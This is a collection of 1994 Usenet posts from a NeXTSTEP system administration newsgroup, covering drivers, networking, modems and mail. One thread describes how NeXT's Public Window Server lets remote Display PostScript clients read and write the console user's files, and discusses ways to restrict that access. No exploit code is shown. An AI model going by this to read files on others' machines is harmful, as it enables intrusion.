Could someone NeXTMail to me the driver for the
Bus Logic 445S SCSI adapter - or tell me the ftp
site where I can download it.
Thanks in advance
Greg
From: mark@marigold.cs.odu.edu (Mark Imbriaco)
Newsgroups: comp.sys.next.sysadmin
Subject: Public Window Server?
Date: 25 Mar 1994 04:09:33 GMT
Organization: Old Dominion University, Norfolk, VA, USA
Distribution: world
Message-ID: <MARK.94Mar24230934@marigold.cs.odu.edu>
Hi.. I was just reading through the User's Guide that came with my NS3.2,
and they mention something about having Public Window Server set as being a
Security risk.. I was wondering if this is the same as having for example
xhost + set in X windows, or if this is a different hole entirely? Thanks!
--
---
Mark Imbriaco
mark@cs.odu.edu
From: mcafee@Xenon.Stanford.EDU (Christopher C McAfee)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Next version of top
Date: 25 Mar 1994 09:23:46 GMT
Organization: Computer Science Department, Stanford University.
Message-ID: <2muaj3$blm@Times.Stanford.EDU>
References: <1994Mar21.145736.170878@eros.embl-heidelberg.de>
In article <1994Mar21.145736.170878@eros.embl-heidelberg.de>,
David Grindrod <grindrod@eagle.NMR.EMBL-Heidelberg.DE> wrote:
>Has anyone compiled a version of top for the NeXT machines. Or does
>anyone know of alternative software to graphically show the cpu usage
>of processes on NeXT machines.
Try "Monitor" (available on cs.orst.edu). You need to either be root
or make /dev/kmem readable by you (security hole, I think).
Chris
mcafee@cs.stanford.edu
Newsgroups: comp.sys.next.sysadmin
From: wgehrke@risc.uni-linz.ac.at (Wolfgang Gehrke)
Subject: What to do with a damaged NeXT floppy (extra high density)?
Message-ID: <WGEHRKE.94Mar25115711@topaz.risc.uni-linz.ac.at>
Sender: netnews@risc.uni-linz.ac.at (Netnews SW Account)
Organization: RISC Linz, Austria
Date: Fri, 25 Mar 1994 10:57:10 GMT
Hi,
are there any tools on a NeXT for trying to repair a damaged floppy? I
am thinking of something similar to e.g. Norton Utilities on PCs. The
attempt to "Repair" from the Workspace via fsck fails and the floppy
is ejected. Any hints are welcome.
Thank you,
-- Wolfgang
--
Wolfgang Gehrke
RISC phone : Austria/7236/3231-64
Johannes Kepler University fax : Austria/7236/3231-30
A-4040 Linz, Austria e-mail: wgehrke@risc.uni-linz.ac.at
From: denis@quartz.tucson.az.us (denis norton)
Newsgroups: comp.sys.next.sysadmin
Subject: console - input overrun??
Date: 25 Mar 1994 14:28:46 GMT
Organization: University of Arizona, CCIT
Message-ID: <2museu$95k@auggie.CCIT.Arizona.EDU>
this message appeared during dialupip to slip connection:
Mar 25 07:20:22 quartz mach: tty3072: canon input overrun
Mar 25 07:21:11 quartz last message repeated 1039 times
whats up, never saw this before????
--
denis norton denis@quartz.tucson.az.us
From: daugher@cs.tamu.edu(Walter C. Daugherity)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Help!!! - Netbooting trouble
Date: 25 Mar 1994 15:53:34 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <2mv1du$a1s@news.tamu.edu>
References: <1994Mar22.202755.1354@parsec.mixcom.com>
Keywords: netboot
In article <1994Mar22.202755.1354@parsec.mixcom.com> alberto@parsec.mixcom.com
(Alberto Ricart) writes:
|
| I have set up a Netboot server as per the System Administration Guide.
| All goes fine on the client machine (I can even get it to boot in single
| user mode). But right before the system puts the login panel -
| BOOM - I get a panic.
|
| The panic says:
|
| primary network interface en0 [192.42.172.5]
| NFS mounting "root" from orion:/
| NFS mounting "private" from orion:/clients/andromeda
| unexpected kernel page fault failure
|
| ---------
|
| The Sys Adm Guide said to export both / and /clients/andromeda
| which NFS manager won't allow since /clients/andromeda is already
| exported by exporting /
|
| The machine boots fine in single user mode. All directories are
| right where they should be.
| Oh yes, this is all on NeXT hardware.
|
|
| Any ideas as to what the dickens is going on?
|
| --
| Alberto Ricart
| SmartSoft, Inc.
| 2220 E. Linnwood Avenue, Milwaukee, WI 53211-3321
/ and /clients have to be two different UNIX disk partitions, e.g.,
/dev/sd0a and /dev/sd0b.
--
Walter C. Daugherity Internet, NeXTmail: daugher@cs.tamu.edu
Texas A & M University uucp: uunet!cs.tamu.edu!daugher
College Station, TX 77843-3112 BITNET: DAUGHER@TAMVENUS
---Not an official document of Texas A&M---
Newsgroups: comp.sys.next.sysadmin
From: willi@infoman.com
Subject: How can I create a .signature file for NeXTMail?
Message-ID: <1994Mar25.160743.4373@infoman.com>
Keywords: Mail
Sender: root@infoman.com (Operator)
Organization: Information Management Inc.
Date: Fri, 25 Mar 1994 16:07:43 GMT
Is there anyway of adding a signature file using NeXTMail application?
Any help would be much appreciated!
--
willi@infoman.com (NeXTMail preferred)
Willi Berger
Information Management Inc.
150 E. Ponce De Leon Ave., Suite 430
Decatur, GA 30030
ph: (404) 377-4840 ext. 314
fax:(404) 377-5116
Newsgroups: comp.sys.next.sysadmin
From: willi@infoman.com
Subject: How can I create a .signature file for NeXTMail?
Message-ID: <1994Mar25.160825.4447@infoman.com>
Keywords: Mail
Sender: root@infoman.com (Operator)
Organization: Information Management Inc.
Date: Fri, 25 Mar 1994 16:08:25 GMT
Is there anyway of adding a signature file using NeXTMail application?
Any help would be much appreciated!
--
willi@infoman.com (NeXTMail preferred)
Willi Berger
Information Management Inc.
150 E. Ponce De Leon Ave., Suite 430
Decatur, GA 30030
ph: (404) 377-4840 ext. 314
fax:(404) 377-5116
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Public Window Server?
Date: 25 Mar 1994 17:26:44 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2mv6sk$847@agate.berkeley.edu>
References: <MARK.94Mar24230934@marigold.cs.odu.edu>
In article <MARK.94Mar24230934@marigold.cs.odu.edu> mark@marigold.cs.odu.edu (Mark Imbriaco)
writes:
>Hi.. I was just reading through the User's Guide that came with my NS3.2,
>and they mention something about having Public Window Server set as being a
>Security risk.. I was wondering if this is the same as having for example
>xhost + set in X windows, or if this is a different hole entirely? Thanks!
It's similar, but far worse than X because Display PS is a full
programming language with operators that can read and *write* any
files that the console user has permission to.
I don't know X protocols and what the server provides, but I don't
think it allows the X clients unlimited access to files on the
system. DPS and Public Window server do!
It's almost like operating an anonymous FTP server, except that
it makes the whole filesystems exposed, not just the home dir of
user ftp.
I posted a small C program here sometime ago that can write to any
file (within console user's permission settings) via PWS. Likewise,
it is easy to read any file through this.
If you want a demonstration, enable your PWS, and I will read a
file or two from your NeXT and mail it to you.
--
Izumi Ohzawa [ $@Bg_78^=;(J ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.sysadmin
From: root@polaris.scicntr.ortn.edu (Operator)
Subject: 3.2 and adding hosts
Message-ID: <1994Mar25.195135.16774@ornl.gov>
Sender: usenet@ornl.gov (News poster)
Organization: Oak Ridge National Laboratory
Date: Fri, 25 Mar 1994 19:51:35 GMT
I've upgraded to 3.2. Used Simple Startup to set up my Netinfo Master.
After a lot of problems, I re-inited the drive and started over. Now, after
going through what seems to be an exact copy of the manual explanations, When I
go to add a workstation that was on the net before, I get the message
Network doesn't recognize computer
Enter host name:
This is fine! I enter the name it used to have, but which should have
disappeared from the server since I reinited the drive and I get
Hostname already in use
Enter host name.
How do I had these back without having to rename them new names?
John W. Wooten
From: hsr@cs.Stanford.EDU (Scott Roy)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: A personal Sys Admin winge.
Date: 25 Mar 1994 20:20:12 GMT
Organization: Stanford University: Computer Science Department
Distribution: world
Message-ID: <2mvh1s$e9t@Times.Stanford.EDU>
References: <2mspb6$pc5@bilbo.suite.com>
Scot Shepherd writes
|
| From what I was told by a Next customer support person this is NOT a
| good way to backup and restore your Netinfo. Nidump only dumps the
| data that would go into a normal unix config file like HOSTS.
| Therefore on the niload later you are only supplying this base
| information. Netinfo tends to have other data that it keeps about
| that isn't applicable on the dump and wouldn't get restored on the
| niload to a fresh Netinfo database.
|
Wonderful. So how in the world should one properly upgrade a netinfo
database to a new release?
---
Scott Roy
Department of Computer Science
Stanford University
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk
Subject: Re: How can I create a .signature file for NeXTMail?
Message-ID: <1994Mar25.204335.21256@seer.demon.co.uk>
Organization: P & L Systems
Date: Fri, 25 Mar 1994 20:43:35 GMT
In article <1994Mar25.160825.4447@infoman.com> willi@infoman.com writes:
> Is there anyway of adding a signature file using NeXTMail application?
>
> Any help would be much appreciated!
Answer 1):
Get MailHelper, or one of the other service providers for mail. Or you can just create a Terminal service:
echo --; cat ~/.signature
Answer 2):
Replace your mailer in Mail.app expert preferences with a script, that contains:
#!/bin/sh
{
cat -
if test -r ${HOME}/.signature; then
echo "\n--";
cat ${HOME}/.signature;
fi
}| /usr/lib/sendmail "$@"
You can get fancier, with rtf and rtfd sognatures, if you like.
Paul
From: kline@CS.Arizona.EDU (Nick Kline)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.protocols.ppp
Subject: ppp on intel 3.2, i've given up waiting
Followup-To: comp.sys.next.programmer
Date: 25 Mar 1994 14:37:41 -0700
Organization: University of Arizona CS Department, Tucson AZ
Message-ID: <2mvlj5$l7q@cheltenham.cs.arizona.edu>
It's been at least a month since several people posted on the net
about a pd port of ppp being released for intel in the near future.
I finally got tired of waiting and so I'm going to do it myself.
Anyone else interested in getting it going? If someone is really about
done, send me mail please.
I got ppp.0.3 off the net and compiled it. Several warnings which
don't seem important. Then I ran it.
It died with a strange error about not having permission to get the
line discipline for a fd. It's on about line 460. I added a few
printf's.
on about line 460:
/*
* Find out which interface we were given.
*/
#ifdef STREAMS
if (ioctl(fd, SIOCGETU, &ifunit) < 0) { /* in streams, ppp_if handles t\
his ioctl */
perror("ppp: ioctl(SIOCGETU)");
exit(1);
}
#else
/*rnk if (ioctl(fd, TIOCGETD, &ifunit) < 0) {
perror("ppp: ioctl(TIOCGETD) error #2");
exit(1);
}
*/
ifunit = 0;
#endif
The ioctl(TIOCGETD) is the second one, that's why I added the error #2.
The first one shouldn't get called since its in the stream part of the
ifdef...
so the TIOCGETD above failed for some strange reason, even when I ran the
pgm as root, even when I made it setuid to see if that would do anything.
So I commented it out. if you look at what ifunit is used for, its for
determing which ppp this is. The first one is ppp0, so I just set it
to 0 and went on my way. I can find out what the problem there is later.
It seems to use this value appropriately.
It seems to negotiate the addresses correctly and succeeds in establishing
a connection. But as soon as I try to ping someone through the ppp interface,
the system crashes, I suppose in the ppp_reloc module linked into the kernel.
As I'd heard, it crashes in the kernel, yuck, of course you have to fsck your
hard disks, what a pain.
The next step is to log errors/status messages in the ppp_reloc part
of the code.
I'd be very eager to work with someone else who has addressed these problems
and has moved on. There must be people already working on ppp for intel,
right?
-nick
From: af@iaka.biomath.jussieu.fr (Alain Fauconnet)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: telnetd is still crippled in NS3.2 !
Date: 25 Mar 94 21:59:56 GMT
Organization: Universites Paris VI/Paris VII - France
Distribution: world
Message-ID: <af.764632796@iaka>
References: <TJYANG.94Mar13231406@cc.nsysu.edu.tw> <2m03i4$1no@umd5.umd.edu> <af.764522609@iaka>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
af@iaka.biomath.jussieu.fr (Alain Fauconnet) writes:
[...]
>I've built a telnet from the sources on gatekeeper.dec.com. I had to
>put a few fixes in and build a Makefile for NS. It's been only tested on
>black hardware but we've been perfectly happy with it until now.
>Get it from ftp.jussieu.fr in /pub/next/telnetd/telnetd.tar.Z
*** WRONG *** WRONG *** WRONG ***
The correct server name is ftp.biomath.jussieu.fr
Sorry for the inconvenience.
_Alain_
--
Alain FAUCONNET Ingenieur systeme - System Manager AP-HP/SIM
Public Health Research Labs 91 bld de l'Hopital 75013 PARIS FRANCE
Mail: af@biomath.jussieu.fr (*no* NeXTmail !)
Tel: (+33) 1-40-77-96-19 Fax: (+33) 1-45-86-80-68
Newsgroups: comp.sys.next.sysadmin
From: peter@carrot.mcb.uconn.edu (Peter Gogarten)
Subject: How to export NeXT laser printer to non NeXT network?
Message-ID: <1994Mar26.003249.11643@cs.yale.edu>
Sender: news@cs.yale.edu (Usenet News)
Organization: Yale University, Department of Computer Science, New Haven, CT
Date: Sat, 26 Mar 1994 00:32:49 GMT
I would like to use a Next Laserprinter via ethernet to print files from
an IBM PC compatible. Both computers (the NeXT and the clone) are on a
non Next network (ethernet, no yellow pages). I edited the file
/etc/hosts.lpd, however, when I try to print (via WinQVT) I get the
message lpr daemon would not accept print job. Any suggestions would be
greatly appreciated.
Peter Gogarten (peter@carrot.mcb.uconn.edu)
Newsgroups: comp.sys.next.sysadmin
From: cferner@mnemosyne.cs.du.edu (Clayton S. Ferner)
Subject: Wanted: resolver library
Message-ID: <1994Mar26.001728.9412@mnemosyne.cs.du.edu>
Organization: University of Denver, Dept. of Math & Comp. Sci.
Date: Sat, 26 Mar 94 00:17:28 GMT
I'm trying to compile some programs on a NeXT machine that for
some reason does not have the resolv library. Can anyone
give me an ftp site where I can get it? Many thanks.
(Please respond via email; I don't read this group often.)
------------------------------------------------------------------------------
| Clayton S. Ferner | "My doctor said I needed to reduce my level of |
| Dept. of Mathematics | stress. He said I should relax, take some time |
| & Computer Science | off, and be sure to smell the roses. So I did... |
| University of Denver | Now I'm smelling 20 roses a day, and I hope by |
| | next month, I'll be up to smelling 30 a day!" |
| cferner@cs.du.edu | --- deceased |
------------------------------------------------------------------------------
Newsgroups: comp.sys.next.sysadmin
From: lorinr@altsys.com (Lorin Rivers III)
Subject: making rc.local launch this
Message-ID: <1994Mar25.214708.20110@altsys.com>
Organization: Altsys Corporation, Richardson, TX
Date: Fri, 25 Mar 1994 21:47:08 GMT
I'm having trouble with rc.local not launching issd6 on boot. Thsi is
the entry from my rc.local. Whassup?
#start the issd demon for Virtuoso MUL
if [-f /ISS_Licensing/altsys/issd6]; then
/ISS_Licensing/altsys/issd6
(echo -n 'issd6') > /dev/console
fi
Thanks!
--
Lorin Rivers Lorin_Rivers@altsys.com
NEXTSTEP Sales Manager 214.680.2060
269 W. Renner Parkway NeXT Mail Expected
Richardson, Texas 75080 I said it, not my boss
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: demon.ip.support.unix,comp.sys.next.sysadmin
Subject: Re: Smail users? Anyone Anyone?
Date: 25 Mar 1994 10:23:45 +0100
Organization: Palumbian Research Labs
Message-ID: <2muaj1$1fq@marsu.tynet.sub.org>
References: <2mt3it$353@steffi.demon.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
robert@steffi.demon.co.uk (Robert Nicholson) writes:
>I'm going to take a look at smail (3.1.28). Anybody using this?
Yes. Me!
Absolutely worth to take a look and even to use it.
Perfect for a uucp site - doesn't use ! addressing in the From: header
line - , much easier to configure than sendmail, and 8 bit clean.
Compiles out of the box under NS 3.2.
--
Markus Wenzel System administration, Consulting, Networking
mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Veni, vidi, NeXTSTEPi.
Newsgroups: comp.sys.next.sysadmin
From: serge@dadofsam.Princeton.EDU
Subject: Running an APP without read permission
Message-ID: <1994Mar26.023408.22400@Princeton.EDU>
Originator: news@nimaster
Keywords: app execute-only
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
Date: Sat, 26 Mar 1994 02:34:08 GMT
I want to make a NeXT app publicly available without turning on the read
permission bit(s). The workspace manager doesn't like that (presumably because
it wants to read the App segment file to extract ICON information??); it
reports that the app is "damaged" when I set it's permissions to 111. Is there
any way to get this to work, short of building a one-line C program wrapper
that would invoke the real app?
Serge J. Goldstein
Next SysAdmin
Princeton University CIT
From: mark@tsunami.cs.odu.edu (Mark Imbriaco)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Public Window Server?
Date: 25 Mar 1994 20:06:08 GMT
Organization: Old Dominion University, Norfolk, VA, USA
Distribution: world
Message-ID: <MARK.94Mar25150609@tsunami.cs.odu.edu>
References: <MARK.94Mar24230934@marigold.cs.odu.edu> <2mv6sk$847@agate.berkeley.edu>
In-reply-to: izumi@pinoko.berkeley.edu's message of 25 Mar 1994 17:26:44 GMT
It's similar, but far worse than X because Display PS is a full
programming language with operators that can read and *write* any
files that the console user has permission to.
I don't know X protocols and what the server provides, but I don't
think it allows the X clients unlimited access to files on the
system. DPS and Public Window server do!
It's almost like operating an anonymous FTP server, except that
it makes the whole filesystems exposed, not just the home dir of
user ftp.
I posted a small C program here sometime ago that can write to any
file (within console user's permission settings) via PWS. Likewise,
it is easy to read any file through this.
If you want a demonstration, enable your PWS, and I will read a
file or two from your NeXT and mail it to you.
----------
Ahh.. I see. What about the option in preferences to do "secure
postscript"? Is that just a bunch of hooey? :-)
Mark
--
---
Mark Imbriaco
mark@cs.odu.edu
From: izumi@mindseye.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Public Window Server?
Date: 26 Mar 1994 11:25:56 GMT
Organization: Not Organized
Distribution: world
Message-ID: <2n1644$o2e@agate.berkeley.edu>
References: <MARK.94Mar24230934@marigold.cs.odu.edu> <2mv6sk$847@agate.berkeley.edu> <MARK.94Mar25150609@tsunami.cs.odu.edu>
I wrote in message ID I don't remember:
> It's similar, but far worse than X because Display PS is a full
> programming language with operators that can read and *write* any
> files that the console user has permission to.
> I don't know X protocols and what the server provides, but I don't
> think it allows the X clients unlimited access to files on the
> system. DPS and Public Window server do!
>
> If you want a demonstration, enable your PWS, and I will read a
> file or two from your NeXT and mail it to you.
>
In article <MARK.94Mar25150609@tsunami.cs.odu.edu>
mark@tsunami.cs.odu.edu (Mark Imbriaco) writes:
>
> Ahh.. I see. What about the option in preferences to do "secure
> postscript"? Is that just a bunch of hooey? :-)
The preferences option "Display EPS securely" has no effect on
file operators, as far as I can determine.
I have that option checked, but I can still write to files and
read from almost any file from a remote machine via a
NonSecure DPS context to the window server.
You don't even need a Nonsecure DPS connection to read any files.
As I offered, let's do an experiment. You enable PWS with that
hooey switch set, and I will try to read a file or two for you
from this end. :-)
--
Izumi Ohzawa [ $BBg_78^=;(B ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTmail OK)
Newsgroups: comp.sys.next.sysadmin
From: gerben@rna.indiv.nluug.nl
Subject: BLACK: zs: recv buffer overrun at 38.4k. Why?
Message-ID: <1994Mar26.124626.836@rna.indiv.nluug.nl>
Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda)
Organization: G.R.O.S.S.
Date: Sat, 26 Mar 1994 12:46:26 GMT
Hello, World!
I have just installed a new modem (MultiTech MultiModem ZDX) to tyr it out with
NXFax, UUCP and kermit.
It all seems to work fine. Just one thing.
When I use kermit to connect to another host, and I start up with speed 38.4 k
and I get a v32bis link with compression I can get a recv buffer overrun. My
cable supports hardware flow control, I use /dev/cufa, so why is it
complaining? is it harmful? When I use speed 19.2k between modem and computer,
no problem at all.
Can I use 38.4k between computer and modem?
Thanks,
--
Gerben Wierda [NEXTSTEP RD242] gerben@rna.indiv.nluug.nl
"If you don't know where you are going, any road will
take you there." From the Talmud, rephrased in
Lewis Carroll, "Alice in Wonderland".
From: mark@oleander.cs.odu.edu (Mark Imbriaco)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Public Window Server?
Date: 26 Mar 1994 15:44:51 GMT
Organization: Old Dominion University, Norfolk, VA, USA
Distribution: world
Message-ID: <MARK.94Mar26104451@oleander.cs.odu.edu>
References: <MARK.94Mar24230934@marigold.cs.odu.edu> <2mv6sk$847@agate.berkeley.edu>
<MARK.94Mar25150609@tsunami.cs.odu.edu> <2n1644$o2e@agate.berkeley.edu>
In-reply-to: izumi@mindseye.berkeley.edu's message of 26 Mar 1994 11:25:56 GMT
> The preferences option "Display EPS securely" has no effect on
> file operators, as far as I can determine.
> I have that option checked, but I can still write to files and
> read from almost any file from a remote machine via a
> NonSecure DPS context to the window server.
>
> You don't even need a Nonsecure DPS connection to read any files.
>
> As I offered, let's do an experiment. You enable PWS with that
> hooey switch set, and I will try to read a file or two for you
> from this end. :-)
Well, if my cube were on the Net, I might take you up on it.. :-)
Okay.. new question then. Since Public Window Server looks inherently
Insecure, is there any way to limit the connections to the Server so
that they could only come from a specific domain, or group of machines?
We are going to have a small group of machines (3) all running NS3.2
and ethernetted, connected to the Net shortly, and it would be a plus
(definitely) to be able to run applications on those machines and
have the Windows on mine.. Possible, with restrictions on access to
the Window Server to those 3 machines?
--
---
Mark Imbriaco
mark@cs.odu.edu
From: gcasa@wam.umd.edu (Gregory John Casamento)
Newsgroups: comp.sys.next.sysadmin
Subject: Recovering from power failure
Date: 26 Mar 1994 17:21:47 GMT
Organization: University of Maryland College Park
Message-ID: <2n1qvb$qo4@cville-srv.wam.umd.edu>
I recently ran a game called ac_chen on my machine and
it crashed the machine so bad that interrupting the power at the source was
the only option open to me.
So, I am wondering... how can we find out what files, if any, have been
lost or corrupted by a power failure???
Thanks,
--
Gregory John Casamento -- gcasa@wam.umd.edu
-- Opinions expressed in this space are mine. However, they are the
-- fault of my twisted and demented professors at UMCP!!!
#include <stdsig.h>
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From: kramer@fragile.termfrost.org (Mike Andrews)
Subject: Re: Public Window Server?
Message-ID: <CnA9tx.B3r@fragile.termfrost.org>
Sender: kramer@fragile.termfrost.org (Mike Andrews)
Organization: Terminal Frost, Springfield OH
References: <MARK.94Mar26104451@oleander.cs.odu.edu>
Date: Sat, 26 Mar 1994 17:56:20 GMT
In article <MARK.94Mar26104451@oleander.cs.odu.edu> mark@oleander.cs.odu.edu
(Mark Imbriaco) writes:
>
> Okay.. new question then. Since Public Window Server looks
inherently
> Insecure, is there any way to limit the connections to the Server so
> that they could only come from a specific domain, or group of
machines?
> We are going to have a small group of machines (3) all running NS3.2
> and ethernetted, connected to the Net shortly, and it would be a
plus
> (definitely) to be able to run applications on those machines and
> have the Windows on mine.. Possible, with restrictions on access to
> the Window Server to those 3 machines?
Comment mixed with a question here:
You could probably do it nicely with the TCP wrapper package. This lets
you filter and/or log connections to particular ports (i.e. telnet, finger)
based on things like hostname. It SHOULD be easy enough to do this for
the Window Server port too, and now that you mention it, I'm going to do it
on my system....
So here's my question for all: will just putting a lock on the NSWS tcp
port (port 178) be enough? Or is there a UDP side to it too?
--
Mike Andrews "This guy's pretty bizarre, Gus."
root@fragile.termfrost.org [NeXTmail OK] - Primus
kramer@wittenberg.edu (school)
kramer@mik.uky.edu (hometown) Bassists do it deeper
From: izumi@mindseye.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Public Window Server?
Date: 26 Mar 1994 20:57:42 GMT
Organization: Not Organized
Message-ID: <2n27k6$1i5@agate.berkeley.edu>
References: <MARK.94Mar26104451@oleander.cs.odu.edu> <CnA9tx.B3r@fragile.termfrost.org>
In article <CnA9tx.B3r@fragile.termfrost.org> kramer@fragile.termfrost.org (Mike Andrews) writes:
>
>Comment mixed with a question here:
>
>You could probably do it nicely with the TCP wrapper package. This lets
>you filter and/or log connections to particular ports (i.e. telnet, finger)
>based on things like hostname. It SHOULD be easy enough to do this for
>the Window Server port too, and now that you mention it, I'm going to do it
>on my system....
>
>So here's my question for all: will just putting a lock on the NSWS tcp
>port (port 178) be enough? Or is there a UDP side to it too?
TCP wrapper does not work with PWS for intercepting DPS/WindowSever
connections, because NeXT to NeXT DPS connections do not go through
NSWSd which is invoked throught inetd super server.
NSWSd is for non-NEXTSTEP clients to connect to DPS using the
NSWSd as a TCP-based intermediary.
I believe connections to DPS/Window server is made through the
nmserver process. I don't exactly remember the port it listens
to, but it listens to port 25xx. You must intercept a listen
on this and forward only those that you want to allow. I don't
know if this kind of thing is possible.
NeXT really has to add a selective authentication scheme for
nmserver.
--
Izumi Ohzawa [ $BBg_78^=;(B ]
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Telephone: (510) 642-6440 Fax: (510) 642-3323
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Newsgroups: comp.sys.next.sysadmin
From: esprit@netcom.com (Alan F. Perry)
Subject: SNS crashes when I try to set-up as NetInfo server
Message-ID: <espritCnAoGJ.I9H@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Sat, 26 Mar 1994 23:12:19 GMT
I have been running my network without NetInfo for a couple of weeks. I
finally decided to take the plunge and set-up NetInfo. However, when
I run SNS to set this up, SNS crashes.
What? You would like more details? I start SNS, select server in box 1,
jump down to box 3 and try various options. The end results is the same.
SNS crashes and leave no messages to explain what happened. I have a
console up and no new messages appear there when SNS crashes. If I try
it where new machines need a password to get onto the network, it crashes
immediate after I enter a password.
Any ideas?
If it makes any difference, this is on a NeXTstation running 3.1.
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From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Public Window Server?
Date: 27 Mar 1994 04:57:02 GMT
Organization: San Francisco State University
Message-ID: <2n33mu$qfj@nic-nac.CSU.net>
References: <MARK.94Mar26104451@oleander.cs.odu.edu> <CnA9tx.B3r@fragile.termfrost.org> <2n27k6$1i5@agate.berkeley.edu>
I had working code for NS 2.x that addressed the Public Window
Server "problem" nearly 2 1/2 years ago, tried to find someone
to market it as a commercial product, and got pretty much the
same feedback:
- There was no demand for this(!)
- NeXT really should take responsibility in this area
- If it were a real problem, NeXT would quickly render
such a product obsolete => it's not profitable
and, of course, the ever-popular
- It doesn't fit in with our current product line
In the end, my choices came down to Impact Software Publishing
and not releasing. I opted for the latter.
-=EPS=-
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From: gadallah@netcom.com (Larry Gadallah)
Subject: Re: SLIP/PPP and NeXT + Kernel forwarding
Message-ID: <gadallahCnBBq4.3Ip@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
References: <2m5add$ajd@clarknet.clark.net>
Date: Sun, 27 Mar 1994 07:34:52 GMT
I was also wondering about a related topic: Is IP forwarding enabled
in the Next port of BSD? I want to use a cube as a gateway too, but
I haven't had any luck in getting in to route packets between interfaces
yet. Does anyone know if this is possible?
Thanks,
From: fgan@athena.mit.edu (Gan Fanqui)
Newsgroups: comp.sys.next.sysadmin
Subject: NEXT NETWORK HELP NEEDED
Date: 27 Mar 1994 15:23:13 GMT
Organization: Massachusetts Institute of Technology
Distribution: world
Message-ID: <2n48d1$sip@senator-bedfellow.MIT.EDU>
Hello everyone, I am trying to build a simple LAN by connecting two Next
workstation together. Since Next computer has its own networkcapability (ethenet),
no extra hardware and software is needed except some cable and connectors. I want
one of the them as server and the other as client. The tricky part is that the
server is connected to internet through RSDN cable. So it is kind of mixed
network. I try to follow the documentation about simple network starter and
hostmanger but I can't get it to work. The client won't communicate with the
server. I hope those NEXT expert outthere could give me a hand. Thank you in
advance.
--Gan
From: rsilver@panix.com (Russell Silverman)
Newsgroups: comp.sys.next.sysadmin
Subject: Simple question: scsi tape
Date: 27 Mar 1994 11:51:06 -0500
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <2n4dhq$8ge@panix2.panix.com>
I have 3.2 NS/FIP running on a gateway. I have a 1/4" SCSI tape
drive attached to a 1542CF at SCSI ID #0. OK, how do I back up
my machine ? tar ?vf /dev/rxt? doesn't seem to work.
Though there is a SCSI tape driver in the Driver directory, I see
nothing in Configure.app about it.
I will continue to play around, any suggestions would appreciated.
--thanks, RS
From: phyd@interaccess.com (Brian Leake)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.software
Subject: Re: Bus Logic 445S Driver needed
Date: 27 Mar 1994 13:54:43 -0600
Organization: InterAccess, Chicagoland's Full Service Internet Provider
Message-ID: <2n4oa3$1h4@home.interaccess.com>
References: <2mtp9d$b42@senator-bedfellow.mit.edu>
In article <2mtp9d$b42@senator-bedfellow.mit.edu>,
Gregory B Howland <gregory@nukestep.mit.edu> wrote:
>
>Could someone NeXTMail to me the driver for the
>Bus Logic 445S SCSI adapter - or tell me the ftp
>site where I can download it.
>
I wasn't aware it had been finished. I'm still waiting for NeXT
to post some news on new drivers. It's been a while since they issued
any. Still no decent 32bit colour drivers from NeXT themselves yet.
- Brian.
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Newsgroups: comp.sys.next.sysadmin
From: kiwi@belly.in-berlin.de (Axel Habermann)
Subject: Re: BLACK: zs: recv buffer overrun at 38.4k. Why?
Message-ID: <CnC39n.EAv@belly.in-berlin.de>
Sender: usenet@belly.in-berlin.de
Organization: - none -
References: <1994Mar26.124626.836@rna.indiv.nluug.nl>
Date: Sun, 27 Mar 1994 17:29:46 GMT
In article <1994Mar26.124626.836@rna.indiv.nluug.nl>
gerben@rna.indiv.nluug.nl writes:
[...problem description deleted...]
Hi,
a friend of mine had recv buffer overruns at 38.4K, I hadn't.
Same configuration, but different modems. So it went for some time.
A few days ago he found out, that he had set up the modem to
support hardware flow control for sending but not for receiving. Now
he's happy again :-)
So - check your modem configuration.
Other possibilites: Cable? (Macintosh style modem cables fit and
work but don't support RTS/CTS)
38.4K (Taylor-UUCP, kermit, tip and any other software) and even
57.6K work fine for me (Taylor-UUCP). All on Black, 25 MHz. I had
a single recv buffer overrun in half a year of daily polls, but I
suspect it was a fault in my cable (moved the modem while polling).
About this being harmful: You lose reliability, because a recv
buffer overrun drops characters.
Good luck!
--
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kiwi@belly.in-berlin.de (NeXT-Mail) )o o( weisst was Du
kiwi@cs.tu-berlin.de (NO NeXT-Mail) \ | / tust, mach's
FaxFon: +49 30 4543046 \~/ mit Eleganz!"
Newsgroups: comp.sys.next.sysadmin
From: kiwi@belly.in-berlin.de (Axel Habermann)
Subject: Re: making rc.local launch this
Message-ID: <CnC3I8.EBx@belly.in-berlin.de>
Sender: usenet@belly.in-berlin.de
Organization: - none -
